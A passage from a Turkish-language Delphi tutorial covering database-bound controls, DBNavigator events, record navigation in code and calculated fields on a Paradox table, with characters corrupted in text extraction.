ilk “DBEdit” kontrolü “SIRANO” yu gösterece÷i için bu ismi seçtik. Son adım olarak di÷er “DBEdit” kontrolleri içinde aynı iki ayarı yaparak uygulamanızı çalıútırınız. Tüm kayıt bilgilerinin kontrollere aktarıldı÷ını göreceksiniz. Resimli veya CheckBox øçeren Tablo Sütunlarıyla Ba÷lantı: Bazı durumlarda tablonuzda kiúiye ait resimleri saklamak zorunda kalabilirsiniz. Bu tip durumlarda o sütun için uygun bir tip seçmelisiniz. Paradox resim alanları için sütun tipinizi “OLE” olarak belirlemenizi ister. Aynı úekilde “MEDENI HAL” gibi evet-hayır seçenekleri içeren sütunlar içinse “Logical” tipini seçmeniz gerekecektir. ùimdi aúa÷ıdaki tabloyu oluúturup program içerisinden bu tabloya ba÷lanalım. Fieeld Name(Sütun øsmi) Type(Tipi) Size (Kaç Karakter) SIRANO + Otomatik artar MUSTERIADI A 25 MEDENIHALI L SATISTARIHI D SATILANURUN A RESMI O Key(Primary ind) * 25 Bu tabloda “Type” kısmında kullanılan “A” harfi karakter veriler için,”L” harfi true-false içerikler için,”D” Tarihsel içerikler için,”+” karakteri otomatik artan sütunlar için, “O” harfi ise resim türü verileri barındırmak için kullanılmaktadır. Wizard Kullanarak Veri Tabanına Ba÷lanmak: Aúa÷ıdaki adımları izleyerek sihirbaz yardımıyla kolayca oluúturmuú oldu÷unuz tabloya ba÷lanabilirsiniz. “File->New->Other” seçeneklerini izleyerek “New Items” penceresinin açılmasını sa÷layın. Açılan bu pencereden “Business” yapra÷ını aktifleútirin. “DataBase Form Wizard” seçene÷ini çift tıklayarak sihirbazı iúlemleriniz için devreye sokun. 11 Aúa÷ıdaki “Database Form Wizard” penceresi açılacaktır. Bu pencerede “Form Options” kısmından “Create a simple form” seçene÷ini “DataSet Options” kısmından da “Create a form using table objects” i seçerek “Next” buttonuna tıklayın. Aúa÷ıdaki yeni pencere açılacaktır. Bu pencerede “Drive or Alias name” kısmından talonuzun bulundu÷u klasörü referans gösteren “Alias” ınızı seçip “MUSTERI” tablosunu iúaretleyin (aynı Alias ın içerisinde istedi÷iniz kadar tablo yaratabilirsiniz). 12 “Next” buttonuna tıkladıktan sonra aúa÷ıdaki pencere açılacaktır. Bu pencerede yer alan “Available Fields” kısmındaki tüm sütun baúlıklarını “>>” dü÷mesine tıklayarak “Order Selected Fields” penceresine aktarın. “Next” buttonuna tıkladıktan sonra açılan pencereden “Vertical” seçene÷ini seçin. “Next” buttonuna tıkladıktan sonra açılan pencereden “Left” seçene÷ini seçin. “Next” buttonuna tıkladıktan sonra “Form Only” seçene÷i iúaretli iken “Finish” buttonuyla bitirin. Delphi yukarıdaki úekilde her úeyin hazır bulundu÷u bir form oluúturacaktır. Artık programınızı çalıútırabilirsiniz. 13 ùayet tasarımı bir önceki örnekte oldu÷u gibi kendiniz yapmak isterseniz. “MEDENøHAL” Sütunu için “DBEdit” kontrolü yerine aynı yaprakta yer alan “DBCheckBox” kontrolünü kullanmak, aynı úekilde “RESMI” Sütunu için de, yine aynı yaprakta yer alan “DBImage” kontrolünü kullanmanız gerekecekti. Di÷er iúlemleri hiç bir de÷iúiklik yapmadan aynen uygulamalısınız. Bu örnekte “RESIM” sütununun boú oldu÷u sanıyorum dikkatinizi çekmiútir. Aktif kayıda aúa÷ıdaki úekilde ekleyece÷iniz bir kod blo÷uyla kolayca resim ekleyebilirsiniz. Formunuza “Dialog” yapra÷ında yer alan “OpenDialog” kontrolünden bir adet yerleútirip aúa÷ıdaki kod satırlarını da resmi gösteren kontrolün “OnDblClick” yordamına ekleyiniz. procedure TForm3.ImageRESMIDblClick(Sender: TObject); var yol:AnsiString; begin OpenDialog1.Title:='Resim Seç'; OpenDialog1.Filter:='ico Dosyaları|*.ico|Bmp Dosyaları|*.bmp'; if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; Table1.Edit; //de÷iúme moduna al ImageRESMI.Picture.LoadFromFile(yol); Table1.Post;//yazdır end; end; 14 Kodda kullanılan “ImageRESMI” komutu kontrolün ismidir. ùayet de÷iútirmediyseniz sütun ismine yakın bir isim alacaktır. Yapılan iúlem ise resmin üzerine çift tıklandı÷ı zaman “OpenDialog” penceresi açtırılmaktadır. Tablo kayıtları üzerinde de÷iúiklik yapılabilmesi için muhakkak “Edit” moduna alınması gerekir. “Table1.Edit” satırıyla yapılan iúlem budur. En son olarak “Table1.Post” komutuyla yeni resim veri Tabanına yazdırılmaktadır. DBNavigator Kontrolü: Bu kontrolü kullanarak kayıtlar arası gezinti, Yeni kayıt ekleme, kayıt silme, kayıt güncelleme iúlemlerini kolayca yapabilirsiniz. Kontrole “DataControls” yapra÷ından eriúebilirsiniz. Üzerindeki buttonlar ve anlamları aúa÷ıda verilmiútir. ølk Kayıt ølk Kayda Gider Önceki Kayıt Bir Önceki Kayda Gider Sonraki Kayıt Bir Sonraki Kayda Gider Son Kayıt En Son Kayda Gider Kayıt Ekle Yeni Boú Kayıt Ekler Kayıt Sil Aktif Kaydı Siler De÷iútir Kaydı De÷iútirme Moduna Al Kaydet Kaydı Tabloya Yazar øptal Son Yapılan De÷iúiklikleri øptal Eder Güncelle Tabloyla yeniden veri akıúı oluúturur. Aúa÷ıda sizin yabancı oldu÷unuz en genel özellikleri verilmiútir. Kullanımı son derece basit olan bu özellikler ile “Navigator” kontrolünü en etkili úekilde kullanabilirsiniz. x DataSource Bu özelli÷i sayesinde yönetilecek olan kaynak belirlenir (tablo, query veya Stored Procedur). Kodla veya “Object Inspector” penceresinden kolayca ayarlanabilir (Genellikle properties penceresinden ayarlamak yeterli olacaktır). x Hints Bu özellikle mous kontrolün üzerine geldi÷inde o dü÷menin ne iúe yaradı÷ını gösteren açıklama balonlarının içerikleri belirlenebilir.Burada hatırlatalım, balon içeriklerinin gösterilebilmesi için “ShowHint” özelli÷inin “true” olması gerekmektedir. Aksi takdirde Açıklama balon içerikleri var olsa bile kullanıcı tarafından gözükmeyecektir. 15 Aúa÷ıdaki “String List Editor” penceresi açıklama balon içeriklerini göstermektedir. Varsayılan olarak ingilizce yazılan bu de÷erleri sırayı bozmadan Türkçe karúılıklarına çevirebilirsiniz. Pencere içeriklerini aúa÷ıda gösterilen úekilde de÷iútiriniz. “ShowHint” özelli÷ini true yapınız ve programınızı çalıútırınız. Bu aúamadan sonra mousu “Navigator” kontrolü üzerinde bekletirseniz açıklama balonlarınız yukarıda belirtilen türkçe karúılıklarıyla kullanıcıyı bilgilendirecektir. 16 x VisibleButtons Bu özellikle gösterilecek olan dü÷meleri belirleyebilirsiniz. Kontrolü seçip “Object Inspector” penceresinden gösterilmesini istemedi÷iniz buttonun özelli÷ini “false” yapmalısınız. Özelli÷ini false yaptı÷ınız button artık kullanıcı tarafından gözükmeyecektir. Bu úekilde salt okunur kayıtlar üretebilirsiniz. Yani kullanıcı sadece kayıtlar arası gezinti yapabilecek asla kayıtlarınızı de÷iútiremiyecektir. DBNavigator Kontrolü øçin Tıklanan Dü÷meye Kod Yazmak: Her ne kadar “DBNavigator” dü÷meleri kendi kodlarını iúletsede sizde bu kodlara ekleme yapabilirsiniz. Bu iúlem için öncelikle “DBNavigator” kontrolünü seçip “OnClick” yordamını oluúturmasını sa÷layın. x OnClick Yordamı Bu yordam “DBNavigator” kontrolü içerisindeki dü÷melerden hangisine tıklarsanız tıklayın iúleyen bir yordamdır. Bu yordamda tanımlanan “Button” parametresi tıklanan dü÷menin numarasını tutarak programcıya o dü÷meye ait ek kod yazma úansı vermektedir. Aúa÷ıdaki kodu yazıp programı çalıútırın. Bu aúamada “ilk Kayıt” dü÷mesine tıklayın. procedure TForm3.DBNavigatorClick(Sender: TNavigateBtn); begin if Button=nbFirst Then //ilk dü÷me tıklanırsa ShowMessage('ølk Kayıda Geldiniz') end; TObject; Button: 17 ølk Kayıt Dü÷mesine tıkladıktan sonra aúa÷ıdaki gibi kullanıcıyı bilgilendirmek amaçlı eklemiú oldu÷unuz kod iúletilecektir. Bu yordama yazaca÷ınız kodlar, kontrolün kendi kodlarını iúletmesini engellemez. Burada tıklanılan dü÷me, prosedür içerisinde tanımlanan “Button” isimli parametrede tutulmaktadır. “nbFirst” de÷erini alması ilk dü÷menin tıklanıldı÷ı anlamını taúımaktadır. Aúa÷ıda di÷er dü÷melerin anlamları tablo halinde verilmiútir. Button Sonuç nbFirst ølk Kayıt Buttonu Tıklandı nbPrior Önceki Kayıt Buttonu Tıklandı nbNext Sonraki Kayıt Buttonu Tıklandı nbLast Son Kayıt Buttonu Tıklandı nbInsert Kayıt Ekle Tıklandı nbDelete Kayıt Sil Tıklandı nbEdit Kayıt De÷iútir Tıklandı nbPost Kaydet Tıklandı nbCancel De÷iúiklikleri øptal Et Tıklandı nbRefresh Güncelle Tıklandı x BeforeAction Yordamı Herhangi bir dü÷meye tıklanıldı÷ı anda, kontrol henüz kendi kodlarını iúletmeden hemen önce sizin, kodlarınızın iúletilmesini sa÷layan bir yordamdır. Aynı úekilde burada da “Button” parametresi hangi dü÷menin tıklanıldı÷ını belirlemek için kullanılmaktadır. 18 procedure TForm3.DBNavigatorBeforeAction(Sender: TObject; Button: TNavigateBtn); begin if Button=nbCancel Then//iptal dü÷mesine basarsa begin ShowMessage('Yapılan En Son De÷iúiklikler øptal Edilecek'); end; end; Kayıtları DataGrid Nesnesinde Göstermek: Tablonuzda yer alan kayıtları topluca kullanıcıya göstermek için kullanılan en popüler kontrol “DataGrid” nesnesidir. Uygulamanıza “DataControls” yapra÷ında yer alan bu kontrolden bir adet yerleútirip “DataSource” özelli÷ine verilerinizi gösterece÷iniz tabloya ait “DataSource” kontrolünü aktarın. ùayet ismini de÷iútirmediyseniz bizim projemizde “DataSource1” olarak gözükecektir. Programı çalıútırdıktan sonraki pencere görüntüsü yukarıdaki gibi oluúacaktır. “DBNavigator” kontrolü ile kayıtlar arasında gezinti yaparsanız hem “DBEdit” kontrolünün hemde “DataGrid” nesnesinin kayıt pozisyonunun beraberce de÷iúti÷ini göreceksiniz. Bunun sebebi kontrollerin kaynak olarak aynı nesneyi yanı “DataSource1” kontrolünü kullanmalarından kaynaklanmaktadır. Mesela “DBNavigator” kontrolünde yer alan “Kayıt Ekle” dü÷mesine tıklarsanız ister “DataGrid” nesnesinden, isterseniz “DBEdit” kontrollerinden kayıtlarınızı kolayca girebilirsiniz. Sonuç iki durumda da aynı olacaktır. 19 Kayıt øúlemlerini Kodla Yapmak: Bazı durumlarda kayıt iúlemleri için “DBNavigator” kontrolünü kullanmak istemeyebilirsiniz (zorunlu kaldı÷ınız durumlar da olabilir). O zaman her úeyi kodla yaptırmak zorunda kalacaksınız. Aúa÷ıdaki tasarımı oluúturup gerekli ba÷lantıları yukarıda anlattı÷ımız úekilde yapın. Dü÷melere ait kodlar aúa÷ıda verilmiútir. Tamamını uygulamanıza ait “Unit” penceresine ekleyiniz. procedure TForm4.FormCreate(Sender: TObject); begin Table1.Open;//Tabloyu aç end; procedure TForm4.Button1Click(Sender: TObject); //ølk Kayda Git begin Table1.First; end; procedure TForm4.Button2Click(Sender: TObject); //Önceki Kayıt 20 begin if not Table1.Bof Then //ilk kayıt de÷ilse Table1.Prior else ShowMessage('Zaten ølk Kayıttasınız'); end; procedure TForm4.Button3Click(Sender: TObject); //Sonraki Kayıt begin if not Table1.Eof Then Table1.Next else ShowMessage('Zaten Son Kayıttasınız'); end; procedure TForm4.Button4Click(Sender: TObject); //Son Kayıt begin Table1.Last; end; procedure TForm4.Button5Click(Sender: TObject); //Kayıt Ekle begin Table1.Insert; EditMAGAZAADI.SetFocus;//imleç ilk sütuna gitsin end; procedure TForm4.Button6Click(Sender: TObject); //Kayıt Sil var mesaj:Integer; begin mesaj:=Application.MessageBox('Silmek østedi÷inizden MB_YesNo); if mesaj=mrYes Then begin Table1.Delete; ShowMessage('Kayıt Silindi'); end else ShowMessage('Kayıt Silme øúlemi øptal Edildi'); end; procedure TForm4.Button7Click(Sender: TObject); //Kayıt De÷iútir begin Eminmisiniz','Sil', 21 Table1.Edit; end; procedure TForm4.Button8Click(Sender: TObject); //Kaydet begin Table1.Post; end; procedure TForm4.Button9Click(Sender: TObject); //øptal Et begin Table1.Cancel; end; procedure TForm4.Button10Click(Sender: TObject); //Güncelle begin Table1.Refresh; end; Ba÷lantı øúlemlerinin Kodla Yapmak: Bu bölümde “DBEdit” kontrolleri yerine, Standart yapra÷ında bulunan “Edit” kontrollerini kullanarak kodla veri Tabanı ba÷lantı iúlemlerini görece÷iz. Ardından kayıt iúlemlerini “Edit” kontrollerini kullanarak nasıl yapabilece÷inizi gösterece÷im. Bu tür ba÷lantılar size çok büyük esneklik sa÷layacaktır. Önceki ba÷lantı türünden çok daha etkili sonuçlar alabilirsiniz (bazen bu úekilde ba÷lantıya mecbur kalabilirsiniz). Aúa÷ıdaki adımları izleyerek gerekli olan tasarımı oluúturunuz. Birinci adımda Formunuzun üzerine “Additional” yapra÷ında yer alan “ScrollBox” kontrolünden bir adet yerleútirin. økinci adımda yerleútirdi÷iniz “ScrollBox” kontrolünü seçerek “Object Inspector” penceresinden “BorderStyle” özelli÷ini “bsSingle” yapın. Üçüncü adımda yine “ScrollBox” kontrolünü seçip “Align” özelli÷ini “alClient” yapın (bu üç adımı estetik görünüm açısından gerçekleútirdik. Ba÷lantı için zorunlu de÷ildir). Dördüncü adımda “BDE” Yapra÷ında yer alan “Table” nesnesinden bir adet sürükleyip formun üzerine bırakın. “Table” nesnesinin “DataBase Name” özelli÷ine “gazi”, “Table Name” özelli÷ine de “SERVIS” de÷erini aktarın. 22 Altıncı adımda formunuzun üzerine “DataAccess” yapra÷ında yer alan “DataSource” nesnesinden yerleútirerek “DataSet” özelli÷ine “Table1” de÷erini aktarın. Yedinci adımda “Table1” kontrolünü seçip mousun sa÷ tuúuna tıklayın. Açılan menüden “Fields Editör” seçene÷ine tıklayarak aúa÷ıdaki pencerenin açılmasını sa÷layın Bu penceredeki beyaz alan üzerinde mousun sa÷ tuúuna tıklayarak, açılan menüden “Add All Fields” seçene÷ini seçin. Yukarıdaki gibi tüm sütun isimleri pencerede listelenecektir (Bu iúlemi sütun isimlerini kullanabilelim diye yaptık. Aktif kayıttaki tüm sütun de÷erleri bu de÷iúkenlerde tutulur). Dokuzuncu adımda formunuza beú (5) adet “Edit” ve beú (5) adet “Label” kontrolü yerleútirerek aúa÷ıdaki tasarımı oluúturunuz. Yukarıdaki tasarımı oluúturduktan sonra program çalıútırıldı÷ı anda aktif kayıttaki bilgilerin “Edit” kontrollerinde gözükebilmesi için aúa÷ıdaki kod blo÷unu projenize ekleyiniz. 23 procedure TForm5.FormCreate(Sender: TObject); //Satır Bilgilerini Kontrollere aktar begin Table1.Open;//Tabloyu aç Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; Programı çalıútırdıktan sonraki ekran görüntüsü aúa÷ıdaki gibi olacaktır. “Edit” kontrollerinin içeriklerinin dolu oldu÷una dikkat ediniz. ùimdi formunuzun üzerine bir adet “Button” kontrolü yerleútirip “Caption” özelli÷ine “ølk Kayıt” yazın. Aúa÷ıda bu buttonun “OnClick” yordamına yazaca÷ınız kod verilmiútir. procedure TForm5.Button1Click(Sender: TObject); //ølk Kayıt begin Table1.First;//ilk kayda git Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; 24 ùimdide økinci bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “Önceki Kayıt” yazın. Bu buttonun “OnClick” yordamına yazaca÷ınız kod aúa÷ıda verilmiútir. procedure TForm5.Button2Click(Sender: TObject); //Önceki Kayıt begin Table1.Prior;//Önceki kayda git Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; ùimdi üçüncü bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “Sonraki Kayıt” de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz kod aúa÷ıda verilmiútir. procedure TForm5.Button3Click(Sender: TObject); //Sonraki Kayıt begin Table1.Next;//Sonraki kayda git Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; ùimdi dördüncü bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “SonKayıt” de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz kod aúa÷ıda verilmiútir. procedure TForm5.Button4Click(Sender: TObject); //Son Kayıt begin Table1.Last; //Son kayda git Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; 25 ùimdi beúinci bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “Kayıt Ekle” de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz kod aúa÷ıda verilmiútir. procedure TForm5.Button5Click(Sender: TObject); //Kayıt Ekle begin Edit1.Text:=''; Edit2.Text:=''; Edit3.Text:=''; Edit4.Text:=''; Edit5.Text:=''; Edit1.SetFocus; end; ùimdi altıncı bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “Kaydet” de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz kod aúa÷ıda verilmiútir. procedure TForm5.Button6Click(Sender: TObject); //Kaydet begin Table1.Insert; //kayıt aç Table1MAGAZAADI.AsString:=Edit1.Text; Table1SERVISTARIHI.AsDateTime:=StrToDateTime(Edit2.Text); Table1GIDENFIRMA.AsString:=Edit3.Text; Table1ARIZASEBEBI.AsString:=Edit4.Text; Table1FATURATUTARI.AsCurrency:=StrToCurr(Edit5.Text); Table1.Post; //kaydet end; ùimdi yedinci bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “Kayıt Sil” de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz kod aúa÷ıda verilmiútir. procedure TForm5.Button7Click(Sender: TObject); //Kayıt Sil var mesaj:Integer; begin mesaj:=Application.MessageBox('Silmek østedi÷inizden Eminmisiniz','Kayıt Sil',MB_ICONSTOP+MB_YESNO); 26 if mesaj=mrYes Then begin Table1.Delete;//Kaydı sil Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; ShowMessage('Kayıt Silindi'); end else ShowMessage('Silme øúlemi øptal Edildi'); end; ùimdi sekizinci bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “Kayıt øptal” de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz kod aúa÷ıda verilmiútir. procedure TForm5.Button8Click(Sender: TObject); //Kayıt øptal begin Table1.Cancel; //de÷iúiklikleri iptal et Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; ùimdi dokuzuncu bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “Güncelle” de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz kod aúa÷ıda verilmiútir. procedure TForm5.Button9Click(Sender: TObject); //Güncelle begin Table1.Refresh;//Güncelle Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; 27 Programın tasarımına ait son görüntü aúa÷ıdaki gibi olacaktır. Bu örnekte tablo sütunlarındaki içerikleri kontrollere aktarma iúlemini tek bir prosedüde tanımlayıp kullanırsanız sonuç çok daha teknik olacaktır. Aúa÷ıda tüm kod verilmiútir. type TForm6 = class(TForm) private procedure doldur;//Burada tanımlamayı Unutmayınız. { Private declarations } public { Public declarations } end; procedure TForm6.FormCreate(Sender: TObject); begin Table1.Open;//Tabloyu Aç doldur;//prosedürü iúlet end; procedure TForm6.Button1Click(Sender: TObject); //ølk Kayıt begin Table1.First;//ilk kayda git doldur; end; procedure TForm6.Button2Click(Sender: TObject); //Önceki Kayıt 28 begin Table1.Prior;//Önceki kayda git doldur; end; procedure TForm6.Button3Click(Sender: TObject); //Sonraki Kayıt begin Table1.Next;//Sonraki kayda git doldur; end; procedure TForm6.Button4Click(Sender: TObject); //Son Kayıt begin Table1.Last; //Son kayda git doldur; end; procedure TForm6.Button5Click(Sender: TObject); //Kayıt Ekle begin Edit1.Text:=''; Edit2.Text:=''; Edit3.Text:=''; Edit4.Text:=''; Edit5.Text:=''; Edit1.SetFocus; end; procedure TForm6.Button6Click(Sender: TObject); //Kaydet begin Table1.Insert; //kayıt aç Table1MAGAZAADI.AsString:=Edit1.Text; Table1SERVISTARIHI.AsDateTime:=StrToDateTime(Edit2.Text); Table1GIDENFIRMA.AsString:=Edit3.Text; Table1ARIZASEBEBI.AsString:=Edit4.Text; Table1FATURATUTARI.AsCurrency:=StrToCurr(Edit5.Text); Table1.Post; //kaydet end; procedure TForm6.Button7Click(Sender: TObject); //Kayıt Sil var mesaj:Integer; begin 29 mesaj:=Application.MessageBox('Silmek østedi÷inizden Eminmisiniz','Kayıt Sil',MB_ICONSTOP+MB_YESNO); if mesaj=mrYes Then begin Table1.Delete;//Aktif kaydı sil doldur;//prosedürü iúlet ShowMessage('Kayıt Silindi'); end else ShowMessage('Silme øúlemi øptal Edildi'); end; procedure TForm6.Button8Click(Sender: TObject); //Kayıt øptal begin Table1.Cancel; //de÷iúiklikleri iptal et Doldur;//prosedürü iúlet end; procedure TForm6.Button9Click(Sender: TObject); //Güncelle begin Table1.Refresh;//Güncelle doldur;//prosedürü iúlet end; procedure TForm6.doldur; //Sütun içeriklerini Edit kontrollerine aktaran prosedür begin Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; Bu örnekte “doldur” isimli prosedürü “Private” veya “Public” kısmında tanımlayın. Basit bir prosedür gibi tanımlarsanız “Edit” kontrolü için, “Form1.Edit1.Text” úeklinde kullanılması gerekir. Veri Tabanında Olmayan Sütunlar Yaratmak: Di÷er sütunlardan yola çıkarak hesaplanabilen sütunları Veri Tabanına koymamak dosyanızın daha az yer tutmasını sa÷layacaktır. ùayet mecbur kalmazsanız (mecbur kalabilece÷iniz bir durum bilmiyorum) bu tür sütunları 30 aúa÷ıda gösterece÷im úekilde oluúturunuz. Daha önce oluúturdu÷umuz tabloda ki “TUTAR” sütununu kullanarak tabloda mevcut olmayan “KDV” ve “TOPLAMFIYAT” sütunlarını oluúturaca÷ız. Aúa÷ıdaki adımları dikkatlice takip ediniz. Formunuzun üzerine bir adet “Table” nesnesi yerleútirerek “DatabaseName” özelli÷ine tanımlamıú oldu÷unuz “Alias” ınızın ismini girin (bizim örne÷imizde gazi). økinci adımda “Table” kontrolünün “TableName” özelli÷ine “SERVIS” tablonuzun ismini aktarın. “DataAccess” yapra÷ında yer alan “DataSource” kontrolünden bir adet formunuza sürükleyin. “DataSet” özelli÷ine “Table1” kontrolünü aktarın. Dördüncü adımda formunuza bir adet “Additional” yapra÷ında yer alan “ScrollBox” kontrolü ekleyerek, “Align” özelli÷ine “alClient”, “BorderStyle” özelli÷ine de “bsSingle” de÷erlerini aktarın (estetik görünüm için). Beúinci adımda formunuza “DataControls” yapra÷ında yer alan “DataGrid” kontrolü ekleyerek “DataSource” özelli÷ine “DataSource1” nesnesini aktarınız. Altıncı adımda Table kontrolünüzün “Object Inspector” penceresinden “Active” özelli÷ini “true” yapın. ùu aúamada programınızı çalıútırırsanız yukarıdaki úekilde tablonuzda yer alan tüm sütunları “DataGrid” nesnesinde listeletmiú olacaksınız. Bu adımdan sonra tablonuzda yer almayan “KDV” ile “TOPLAM TUTAR” sütunlarını oluúturmayı gösterece÷im. Yedinci adımda “Table” nesnesi üzerine mousun sa÷ tuúuyla tıklayın. Açılan menüden “Fields Editör” seçene÷ini seçiniz. Aktif beyaz pencerede mousun sa÷ tuúuna tıklayarak açılan menüden “Add All Fields” seçene÷ini tıklayınız. 31 Tüm sütunları ekledikten sonra tekrar mousun sa÷ tuúuna tıklayın. Açılan menüden “New Fields” seçene÷ini seçin Aúa÷ıdaki pencere açılacaktır. “Name” kısmına sütun baúlı÷ınızı (“KDV”), “Type” kısmına sütunun içerece÷i verinin tipini (Currency), “Field Type” kısmından nasıl bir veri olaca÷ını (di÷er sütun kullanılarak hesaplanaca÷ı için Calculated) seçin. “Component” kısmını ise kendisi otomatik olarak dolduracaktır. Bu kısmı de÷iútirmenize gerek yoktur. “OK” Buttonuna tıklayarak sütunun tabloya eklenmesini sa÷layın. Beyaz ekranda tekrar mousun sa÷ tuúuna tıklayarak açılan menüden“New Fields” seçene÷ini seçiniz. Aúa÷ıdaki pencere açılacaktır. Girilen de÷erleri aynen sizde oluúturunuz. 32 Gerekli de÷erleri girdikten sonra “OK” Buttonuna tıklayarak pencereyi kapatınız. Yaratılan Sütun De÷erlerini Tablonuzda Hesaplatmak: Eklemiú oldu÷unuz iki yeni sütunun “Object Inspector” penceresinde bulunan “FieldKind” özelliklerinin “fkCalculated” oldu÷unu tekrar kontrol ediniz. Aksi takdirde hesaplatma iúleminiz baúarısızlıkla sonuçlanacaktır. Son adım olarak aúa÷ıdaki kodu “Table” kontrolünüzün “OnCalcFields” yordamına yazmak yeterli olacaktır. procedure TForm7.Table1CalcFields(DataSet: TDataSet); begin Table1KDV.AsCurrency:=Table1FATURATUTARI.AsCurrency*0.15; Table1TOPLAMTUTAR.AsCurrency:=Table1FATURATUTARI.AsCurrency*1.15; end; Bu aúamadan sonra uygulamanızı çalıútırırsanız “DataGrid” nesnenizde iki adet yeni sütunun oluútu÷unu, bu sütunların içeriklerini tablonuzda yer alan “FATURATUTARI” sütununa göre hesapladıklarını göreceksiniz. Yeni kayıt eklemeniz bu sutünların hesaplanmasını engellemez. Ekleyece÷iniz her yeni kayıt için sonuç yine otomatik olarak hesaplanacaktır. Aynı úekilde var olan bir kayıt üzerinde de÷iúiklik yaparsanız sonuç bu yeni sütunlara da anında yansıyacaktır. Programınızın en son görüntüsü aúa÷ıda verilmiútir. “KDV” ile ”TOPLAMTUTAR” sütunlarının Veri Tabanınızda var olmadı÷ına dikkatinizi çekelim. 33 DataGrid Kontrolüne Ait Özellikler: Kayna÷ınızdaki kayıtları topluca kullanıcıya göstermek için kullanılan en popüler kontrol sanıyorum “DataGrid” nesnesidir. Bu yüzden kayıtların daha estetik ve güzel görünmesi için yapmanız gereken bir takım ayarlar bulunmaktadır. ùimdi sizlere bu ayarlardan bahsetmek istiyorum. Öncelikle daha önceden oluúturmuú oldu÷umuz “SERVIS” tablosuna gerekli ba÷lantıları yapıp tüm kayıtların aúa÷ıdaki pencerede oldu÷u gibi “DataGrid” nesnesinde gösterilmesini sa÷layın (Ba÷lantı iúlemleri her defasında artık anlatılmayacaktır). ùu anda “DataGrid “kontrolü tablo içerisindeki tüm kayıtları göstermektedir. 34 DataGrid Kontrolüne Ait Sütun Baúlıklarını Belirlemek: Yukarıdaki pencereye dikkat edecek olursanız, sütun baúlıklarınız Veri Tabanın da nasıl belirlendiyse o úekilde gözükmektedir. Fakat bir çok durumda buradaki sütun baúlıklarının daha de÷iúik metinle (kısaltma yapmıú olabilirsiniz vs) gösterilmesi istenir. Bizde úimdi yapaca÷ımız de÷iúiklikle yeni sütun baúlıkları belirleyelim (sütun baúlıklarını DataGrid nesnesinden de÷iútirmek veri tabanınıza yansımaz). “DataGrid” kontrolünü seçip mousun sa÷ tuúuna tıklayın. Açılan menüden “Columns Editor” seçene÷ine tıklayın Karúınıza aúa÷ıdaki pencere açılacaktır. Açılan bu pencerede ilk etapta hiç bir sütun gözükmeyecektir. Beyaz alanda mousun sa÷ tuúuna tıklayın, açılan menüden “Add All Fields” seçene÷ini seçin. Bütün sütunlar yukarıdaki pencerede oldu÷u gibi ekranınıza eklenecektir. Bu adımda sol taraftaki pencereden sütunu seçip “Object Inspector” penceresindeki “Title” özelli÷inin solundaki “+” iúaretine tıklayın. 35 Alt satırları açılan “Title” seçene÷inden “Caption” de÷erlerini tüm sütun baúlıkları için ayrı ayrı belirleyin. Aúa÷ıdaki ekran görüntüsü sütun baúlıklarının de÷iútirilmiú halini göstermektedir. DataGrid Sütun Baúlıklarının Ortalanması: Yukarıdaki adımları aynen izleyerek “Columns Editor” penceresinin açılmasını sa÷layın. Bu pencerede ortalataca÷ınız sütunu seçip “Object Inspector” penceresinde “Title” özelli÷inin altında yer alan (di÷er Alignment de÷il)“Alignment” özelli÷ini “taCenter” olarak de÷iútirin. Sütun baúlıklarınız artık ortalanmıú úekilde gözükecektir. Alabilece÷i di÷er seçenekler aúa÷ıda verilmiútir. Alignment Sonuç taCenter Sütun øçerisinde Ortalanmıú taLeftJustify Sütun øçerisinde 